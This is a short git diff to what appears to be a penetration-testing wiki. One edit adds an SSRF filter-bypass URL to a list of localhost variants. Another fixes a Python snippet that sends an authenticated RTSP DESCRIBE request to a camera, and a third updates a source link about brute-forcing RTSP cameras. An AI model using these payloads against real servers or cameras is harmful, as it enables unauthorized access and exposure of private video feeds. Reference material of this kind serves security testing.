diff --git a/pentesting-web/ssrf-server-side-request-forgery.md b/pentesting-web/ssrf-server-side-request-forgery.md index 786256d2..e26a67c3 100644 --- a/pentesting-web/ssrf-server-side-request-forgery.md +++ b/pentesting-web/ssrf-server-side-request-forgery.md @@ -76,6 +76,7 @@ http://127.0.0.1%00{domain} http://127.0.0.1?{domain} http://127.0.0.1///{domain} https://127.0.0.1%00{domain} +https://127.0.0.1%0A{domain} https://127.0.0.1?{domain} https://127.0.0.1///{domain} ``` diff --git a/pentesting/554-8554-pentesting-rtsp.md b/pentesting/554-8554-pentesting-rtsp.md index 21f63180..36b000d0 100644 --- a/pentesting/554-8554-pentesting-rtsp.md +++ b/pentesting/554-8554-pentesting-rtsp.md @@ -49,13 +49,13 @@ req = "DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic Y s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.1", 554)) s.sendall(req) -data = s.recv() +data = s.recv(1024) print(data) ``` Voila! You have access. -**From:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)\*\*\*\* +**From:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](https://web.archive.org/web/20161020202643/http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)**** ## Enumeration